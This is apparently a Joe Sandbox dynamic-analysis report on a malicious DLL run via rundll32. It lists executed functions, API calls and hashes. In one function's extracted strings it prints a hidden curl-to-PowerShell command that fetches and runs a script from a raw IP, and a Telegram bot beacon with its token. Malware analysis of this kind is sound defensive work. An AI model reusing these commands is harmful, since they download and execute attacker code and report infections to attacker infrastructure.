Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction ID: b081194dbf2f0f46654faa82a9f911484b17bc410737f2bd3b4605dd9e6d1423
Opcode Fuzzy Hash: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction Fuzzy Hash: 8D4159B1900209AFDF05CFA8D891AEE7BB9BF48308F148199F91467291D336E971DF51

Analysis Process: rundll32.exePID: 1076, Parent PID: 6752COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1316
Total number of Limit Nodes:	19

Executed Functions

Function 6F956EAB Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FDC
GetExitCodeProcess.KERNELBASE(?,?), ref: 6F956FE9
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FFE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957009
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957014
__dosmaperr.LIBCMT ref: 6F95701B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957026
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957031
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957043
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95704E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95707F

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction ID: a321e98985f0f9d9a18d7ef8a04501a5f8a3b317096c4e47111c4bc96319f699
Opcode Fuzzy Hash: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction Fuzzy Hash: 49515B7190020CEBEF12DFA4C984AEE7BB9EF46315F108166E910A61D1D731DA78DF62

Function 6F951E84 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951ECB
___scrt_uninitialize_crt.LIBCMT ref: 6F951EE5

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction ID: e2276723bfa995d3542d43ed16c1eda4113e27017016161c2d1841421cb4f0a4
Opcode Fuzzy Hash: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction Fuzzy Hash: 4D41D672D05715AFDB21CF69CC40BAE3AB9EF967A4F10411AE8146B2D1D730DDA1CBA0

Function 6F95912D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,44818074,?,6F95923C,00000000,6F9510C9,00000000,00000000), ref: 6F9591EE

Strings

api-ms-, xrefs: 6F959184
ext-ms-, xrefs: 6F959198

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction ID: 1ede92d87e88183e7490bbb336172c1a1857d4a00e499d7b6d6ec4c2ecc552f4
Opcode Fuzzy Hash: f554dc15ddbba9cf125c6ce60cf5df5e1b206662ab8630a6768cee15615cc257
Instruction Fuzzy Hash: E821EB71909621ABFF31CB348D88A9A376D9F437B4F110615ED16A72C8D730F921CAE0

Function 6F956CB6 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6F956CF9
_strrchr.LIBCMT ref: 6F956D03
_strrchr.LIBCMT ref: 6F956D18

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

Part of subcall function 6F954F7D: IsProcessorFeaturePresent.KERNEL32(00000017,6F954F4F,?,00000000,00000000,00000000,00000000,?,00000000,?,6F954EC6,?,00000000,00000000,00000000,00000000), ref: 6F954F7F
Part of subcall function 6F954F7D: GetCurrentProcess.KERNEL32(C0000417,00000000,?,00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA2
Part of subcall function 6F954F7D: TerminateProcess.KERNEL32(00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA9

Strings

.com, xrefs: 6F956E23, 6F956E2D

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: 9b357d92cf556d5484546850c74081d810e9dd2059ce5f94eb7f2d74c119b2f5
Instruction ID: 4c2b800bafc330f446592be22e472aa8b40ae3d784f9c81bcc1d74f6572a7735
Opcode Fuzzy Hash: 9b357d92cf556d5484546850c74081d810e9dd2059ce5f94eb7f2d74c119b2f5
Instruction Fuzzy Hash: 07514872504305AAEB16DE74DC44BAF377CDF53768F140929E910AB2C3EB22E938C261

Function 6F951F34 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F951F71
dllmain_crt_dispatch.LIBCMT ref: 6F951F88
dllmain_raw.LIBCMT ref: 6F951FD0
dllmain_crt_dispatch.LIBCMT ref: 6F951FE3
dllmain_raw.LIBCMT ref: 6F951FF6

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction ID: 12a90bac32d630ebe43dbcbb5dfe6bd070e1fa0829f1c007a7fd4f5244ca9082
Opcode Fuzzy Hash: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction Fuzzy Hash: 04217171D01715ABDB22CF65C840AAF3A7DEB967A4F014116FC146A2D1D730DDA5CBA0

Function 6F951000 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

task.LIBCPMTD ref: 6F951056
task.LIBCPMTD ref: 6F95105E

Strings

powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", xrefs: 6F95101D
cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, xrefs: 6F951010

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: task
String ID: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -$powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
API String ID: 1384045349-2968791885
Opcode ID: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction ID: b0a6ff7db1b291017c8c5855dc18d32104c4796cba38b27d8e520abd0a3aa384
Opcode Fuzzy Hash: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction Fuzzy Hash: 56F03070D1030CA7DF44EFA4E9929BE73389F31258F900068B806661E2FF71EA69C691

Function 6F955232 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,6F95522C,00000000,6F954D53,?,?,44818074,6F954D53,?), ref: 6F955243
TerminateProcess.KERNEL32(00000000,?,6F95522C,00000000,6F954D53,?,?,44818074,6F954D53,?), ref: 6F95524A
ExitProcess.KERNEL32 ref: 6F95525C

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction ID: 56aa2e9e73a434e648341db88ae513337887d601ffda823a7a27e729d01ee67d
Opcode Fuzzy Hash: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction Fuzzy Hash: 73D09E31004604ABEF016F64CC4C9993F2AAF453A97405418B9195A0B6CB75E971DF50

Function 6F951D7D Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951DCA

Part of subcall function 6F95228C: InitializeSListHead.KERNEL32(6F967C70,6F951DD4,6F965708,00000010,6F951D65,?,?,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750), ref: 6F952291

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6F951E34

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction ID: dbd21dee974c30aa6a56cc72ae674814fda50462661509d0bfe32484781d4195
Opcode Fuzzy Hash: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction Fuzzy Hash: E12102329483119AFF06EFB8A40079C37A19F6372CF10045AD5842B1D3DF32E5B8C662

Function 6F95AE14 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6F95AEC9

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction ID: b6e68c8e5646865891fe3c2e813574348240ee4b87e30bb570054094d9295719
Opcode Fuzzy Hash: 7d3127d6624304a4445bd5d3e0ea33e57231481fe0f778f5d46cc567561e9e48
Instruction Fuzzy Hash: 433118B2C0121CAFDF02DFD9DD809DEBFB9BF18214F54412AE918B2291D7318A64DB65

Function 6F9591F8 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7cebefc460c420e3a101f8bac7c0906097dbc71dc541ce4f6e6f5137b7d6ee9
Instruction ID: 9242681f41b9aca7f2bc8fa335ca995abb737854bfc9102192db69dc204e1c84
Opcode Fuzzy Hash: b7cebefc460c420e3a101f8bac7c0906097dbc71dc541ce4f6e6f5137b7d6ee9
Instruction Fuzzy Hash: CA01BE77258611ABBF06CA6CDD40A563359EBD37707104115F614DB1CCDF31D4218B95

Function 6F9578B8 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6F956705,00000001,00000364,00000000,FFFFFFFF,000000FF,?,?,6F956A80,6F9578AD), ref: 6F9578F9

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 11000175e47c4525117f2a653cde02841767236b2a8b14f2ebde905929f718b9
Instruction ID: 1c8d16ceb53eaeee637e4d106c1a0a49eb170089cd0adb56380666566bff0a88
Opcode Fuzzy Hash: 11000175e47c4525117f2a653cde02841767236b2a8b14f2ebde905929f718b9
Instruction Fuzzy Hash: 8DF0B43160462DABEB26DA368844B9A3B5CAF43770B01C126EE149A1C1DB20E630C6B2

Non-executed Functions

Function 6F957C21 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 6F957D11
FindNextFileW.KERNEL32(00000000,?), ref: 6F957E05
FindClose.KERNEL32(00000000), ref: 6F957E44
FindClose.KERNEL32(00000000), ref: 6F957E77

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b6cb73c6122f73230c612782cd8748856389d16ea3c2bc25d6076357393fc792
Instruction ID: 2b35fbb22331fe2209aced95668fb21c33faf2c8b04f364de230939829a728ef
Opcode Fuzzy Hash: b6cb73c6122f73230c612782cd8748856389d16ea3c2bc25d6076357393fc792
Instruction Fuzzy Hash: 4B71C57180522DAEDF21DF24DC98AEEB7B9AF05204F1082DAD04897291DB35DFA4CF12

Function 6F9525AB Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6F9525B7
IsDebuggerPresent.KERNEL32 ref: 6F952683
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9526A3
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9526AD

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction ID: 23ecd557c1dc805c03c3c6812459aa0a4d63baa913363ccb1acc5b8aa5697faf
Opcode Fuzzy Hash: 69cb469e2c0385887cfed3d60eb2c937eee9b5b471f515200a265a1b2e39c88d
Instruction Fuzzy Hash: 5E310775D053189BEB10DFA4C989BCCBBB8BF08304F1040AAE40DAB290EB719A94CF54

Function 6F957231 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

\, xrefs: 6F9573AB
PATH, xrefs: 6F957308, 6F95730E

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: bca75e8e3329abeb13bf99d4c11f562514c5c828cc0d022a51bcbe5aa6ad03ab
Instruction ID: bfd6ba309fbbdd3e50862742368b1701835e2fdd745e023c654a87069aadc7be
Opcode Fuzzy Hash: bca75e8e3329abeb13bf99d4c11f562514c5c828cc0d022a51bcbe5aa6ad03ab
Instruction Fuzzy Hash: 0D911A7190430A9EEF15CF64DC40BEE7BB9AF56328F10851AE850AA1C2E771D771CB62

Function 6F9540D9 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6F9541D6
type_info::operator==.LIBVCRUNTIME ref: 6F9541F8
___TypeMatch.LIBVCRUNTIME ref: 6F954307
IsInExceptionSpec.LIBVCRUNTIME ref: 6F9543D9
_UnwindNestedFrames.LIBCMT ref: 6F95445D
CallUnexpected.LIBVCRUNTIME ref: 6F954478

Strings

csm, xrefs: 6F954116
csm, xrefs: 6F95422F
csm, xrefs: 6F954183

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction ID: d68dff75e1d19f502d277b8a782abd22065da85cd44a8ea43081635f370f0c4d
Opcode Fuzzy Hash: d72726c23ee046ae4ccc160110ea4db62a36ebe977963449e1ea24ba8276283f
Instruction Fuzzy Hash: 11B17A71C00209DFCF58CFA8D9A099EB7B9BF55318F10416AE8106B296D731EA72CF91

Function 6F95CD11 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 6F95CDB7
__alloca_probe_16.LIBCMT ref: 6F95CE72
__alloca_probe_16.LIBCMT ref: 6F95CF01
__freea.LIBCMT ref: 6F95CF4C
__freea.LIBCMT ref: 6F95CF52
__freea.LIBCMT ref: 6F95CF88
__freea.LIBCMT ref: 6F95CF8E
__freea.LIBCMT ref: 6F95CF9E

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6f950000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction ID: 6427da8743cc68f813d9277217a5a15751a5b07a0a771e4bbca6e80389495599
Opcode Fuzzy Hash: 48d6ee9e6afdb0b9f02c7115d1f366bc5bf7881f417b5b1704fe9b91de0c74f7
Instruction Fuzzy Hash: D771E272A04305ABEF11CEB58C40BEF7BBA9F4A314F14015AED14BB2C1E735E92587A1

Function 6F953010 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6F953047
___except_validate_context_record.LIBVCRUNTIME ref: 6F95304F
_ValidateLocalCookies.LIBCMT ref: 6F9530D8
__IsNonwritableInCurrentImage.LIBCMT ref: 6F953103
_ValidateLocalCookies.LIBCMT ref: 6F953158

Strings

csm, xrefs: 6F9530ED

Memory Dump Source

Source File: 00000004.00000002.1946745973.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000004.00000002.1946719517.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946770145.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946792387.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1946814784.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

